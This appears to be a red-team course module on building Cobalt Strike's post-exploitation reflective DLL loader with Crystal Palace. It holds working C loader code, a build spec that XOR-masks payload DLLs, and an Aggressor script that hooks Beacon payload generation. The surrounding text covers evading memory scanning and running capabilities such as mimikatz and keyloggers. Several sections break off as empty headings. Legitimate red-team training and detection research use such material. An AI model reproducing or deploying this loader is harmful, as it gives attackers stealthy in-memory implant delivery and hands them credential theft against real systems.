Module 7: Post-Ex UDRL & Aggressor Integration

The postex loader, $GMH/$GPA patching, string-based DFR, Aggressor hooks, and the complete build pipeline from C source to deployed Beacon.

1. What Is Post-Ex?

Cobalt Strike's post-exploitation capabilities — mimikatz, screenshot, keylogger, port scan, hashdump, net commands, and many others — are implemented as standalone DLLs. When an operator runs one of these commands through the Beacon console, Cobalt Strike compiles or selects the appropriate postex DLL and sends it to the running Beacon for execution.

These postex DLLs need their own loader. The initial Beacon UDRL (covered in Modules 5 and 6) loads the Beacon implant itself, but every subsequent postex capability that arrives as a DLL also needs to be reflectively loaded into memory. Cobalt Strike provides a dedicated hook for this purpose: POSTEX_RDLL_GENERATE.

2. Key Differences from the Beacon UDRL

The postex loader shares the same Crystal Palace build system and LibTCG PE loading primitives as the Beacon UDRL, but it strips away everything that the parent Beacon already provides. The following table highlights every architectural difference:

The most striking reduction is in dependencies. The Beacon UDRL includes beacon.h (for BUD structures), gate.h (for LibGate syscalls), and tcg.h (for PE loading). The postex loader only needs tcg.h because it does not resolve syscalls and does not populate BUD. It is purely a PE loading engine with inherited API resolution.

3. The $GMH / $GPA Patching Mechanism

The central design question for the postex loader is: how does it resolve Windows API functions without PEB walking and without LibGate? The answer is function pointer patching. The parent Beacon already has resolved addresses for GetModuleHandleA and GetProcAddress. Crystal Palace writes those addresses directly into the postex loader's code before it executes.

Global Function Pointers in .text

The postex loader.c declares two global function pointers with an unusual attribute — they are placed in the .text section instead of .data:

C (postex/loader.c)// Global function pointers stored in .text section
__typeof__(GetModuleHandleA) * pGetModuleHandle __attribute__((section(".text")));
__typeof__(GetProcAddress)   * pGetProcAddress  __attribute__((section(".text")));

Placing them in .text is deliberate. After Crystal Palace transforms the COFF object into PIC, the .text section becomes the executable code body. By placing the pointers here, they become part of the PIC blob itself — directly addressable via RIP-relative instructions. If they were in .data, Crystal Palace would need to handle an additional data section and relocations.

The patch Directive

The postex spec file uses Crystal Palace's patch directive to write values into these symbol locations:

loader.spec (postex)name     "Beacon Postex Loader"
describe "PIC loader for Cobalt Strike's postex DLLs"
author   "Daniel Duggan (@_RastaMouse)"

x64:
    load "bin/loader.x64.o"
        make pic +gofirst +optimize +disco
        dfr "resolve" "strings"
        patch "pGetModuleHandle" $GMH
        patch "pGetProcAddress"  $GPA
        mergelib "../libtcg.x64.zip"

    generate $KEY 128
    push $DLL
        xor $KEY
        preplen
        link "dll"
    push $KEY
        preplen
        link "key"
    export

The $GMH and $GPA variables are not defined in the spec itself. They are provided externally by the Aggressor script at runtime, which receives them from Cobalt Strike as parameters to the POSTEX_RDLL_GENERATE hook. Crystal Palace resolves the symbol names "pGetModuleHandle" and "pGetProcAddress" in the COFF object's symbol table and overwrites those locations with the 8-byte addresses provided by $GMH and $GPA.

4. The Post-Ex resolve() Function

Because the postex spec uses dfr "resolve" "strings", Crystal Palace rewrites all __imp_MODULE$Function references to call resolve() with ASCII string arguments instead of ROR13 hashes. The postex resolve() function is correspondingly different from the Beacon UDRL's version:

C (postex/loader.c)char * resolve(char * module, char * function)
{
    HANDLE hModule = pGetModuleHandle(module);

    if (hModule == NULL)
        hModule = LoadLibraryA(module);

    return pGetProcAddress(hModule, function);
}

This function is deceptively simple, but every line is significant:

Comparison with Beacon UDRL resolve()

5. RDATA_SECTION Tracking

The Beacon UDRL tracks all allocated memory regions via ALLOCATED_MEMORY_REGION structures in the BUD. The postex loader uses a simpler tracking mechanism: it captures only the .rdata section's location and size.

C (postex/loader.c)typedef struct {
    char * start;      // Start address of .rdata
    DWORD  length;     // Size of .rdata
    DWORD  offset;     // Offset of IAT within .rdata
} RDATA_SECTION;

Why Track .rdata?

Long-running postex DLLs — such as the keylogger, screenshot capture loop, or port scanner — persist in memory for extended periods. While they are idle between operations, their memory is vulnerable to scanning. The .rdata section is the highest-value forensic target because it contains:

By passing the RDATA_SECTION structure to the postex DLL via DllMain(DLL_PROCESS_ATTACH, &rdata), the DLL can XOR-encrypt or zero its own .rdata section while idle. When it needs to run again, it decrypts the section, performs its operation, and re-encrypts. This pattern is the postex equivalent of the sleep mask technique used by the Beacon itself.

6. The Post-Ex go() Function

The postex go() function is the entry point of the PIC blob. Crystal Palace places it at byte offset 0 via the +gofirst flag. Unlike the Beacon UDRL's go() (which takes no arguments), the postex version receives a loaderArguments pointer from the parent Beacon:

C (postex/loader.c)void go(void * loaderArguments)
{
    RESOURCE * dll = (RESOURCE *)GETRESOURCE(_DLL_);
    RESOURCE * key = (RESOURCE *)GETRESOURCE(_KEY_);

    // XOR unmask the encrypted postex DLL
    char * src = KERNEL32$VirtualAlloc(
        NULL, dll->length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    for (DWORD i = 0; i < dll->length; i++)
        src[i] = dll->value[i] ^ key->value[i % key->length];

    // Parse the decrypted PE
    DLLDATA data;
    ParseDLL(src, &data);

    // Allocate and load sections
    IMPORTFUNCS funcs;
    DWORD size = SizeOfDLL(&data);
    char * dst = KERNEL32$VirtualAlloc(
        NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    LoadDLL(&data, dst);
    ProcessImports(&funcs, &data, dst);

    // Fix permissions and capture .rdata info
    RDATA_SECTION rdata;
    FixSectionPermissions(&data, dst, &rdata);

    // Get entry point and clean up decryption buffer
    DLLMAIN_FUNC entryPoint = (DLLMAIN_FUNC)EntryPoint(&data, dst);
    KERNEL32$VirtualFree(src, 0, MEM_RELEASE);

    // Two DllMain calls (no USER_DATA needed)
    entryPoint((HINSTANCE)dst, DLL_PROCESS_ATTACH, &rdata);               // pass rdata info
    entryPoint((HINSTANCE)GETRESOURCE(go), 0x04, loaderArguments);  // start with loader args
}

Each phase of this function maps directly to a stage in the loading process:

Contrast with Beacon UDRL go()

The Beacon UDRL's go() function makes three DllMain calls:

7. The Aggressor Script (crystalpalace.cna)

The Aggressor script is the glue that connects Crystal Palace to Cobalt Strike's runtime. It implements the hooks that Cobalt Strike calls when it needs to generate loader payloads, passing the appropriate parameters to the Crystal Palace linker.

Java/Sleep (crystalpalace.cna)import crystalpalace.spec.* from: crystalpalace.jar;
import java.util.HashMap;

set BEACON_RDLL_GENERATE {
    local('$spec $spec_path $result');

    // $1 = filename, $2 = beacon DLL bytes, $3 = arch
    if ($3 eq "x86") { return $null; }  // x64 only

    $spec_path = getFileProper(script_resource("udrl"), "loader.spec");
    $spec = [LinkSpec Parse: $spec_path];
    $result = [$spec run: $2, new HashMap];

    if (strlen($result) == 0) {
        warn("Crystal Palace: BEACON_RDLL_GENERATE failed");
        return $null;
    }

    return $result;
}

set BEACON_RDLL_SIZE {
    return "0";  // dynamic size
}

set POSTEX_RDLL_GENERATE {
    local('$spec $spec_path $hashMap $result');

    // $1 = filename, $2 = postex DLL bytes, $3 = arch
    // $4 = beacon ID, $5 = $GMH, $6 = $GPA
    if ($3 eq "x86") { return $null; }

    $spec_path = getFileProper(script_resource("postex-udrl"), "loader.spec");
    $spec = [LinkSpec Parse: $spec_path];
    $hashMap = new HashMap;
    [$hashMap put: "\$GMH", cast($5, 'b')];
    [$hashMap put: "\$GPA", cast($6, 'b')];

    $result = [$spec run: $2, $hashMap];

    if (strlen($result) == 0) {
        warn("Crystal Palace: POSTEX_RDLL_GENERATE failed");
        return $null;
    }

    return $result;
}

The three hooks each serve a distinct purpose in the payload generation pipeline. Note that in Cobalt Strike's Sleep language, the set keyword assigns named hook callbacks (such as RDLL hooks), while on registers event handlers — these are different mechanisms. The import java.util.HashMap at the top makes the Java HashMap class available for passing patch variables.

BEACON_RDLL_GENERATE

BEACON_RDLL_SIZE

POSTEX_RDLL_GENERATE

8. The Full Build Pipeline

From writing C source code to a running Beacon on target, the Crystal-Loaders system involves eight distinct stages. The following diagram traces the complete pipeline: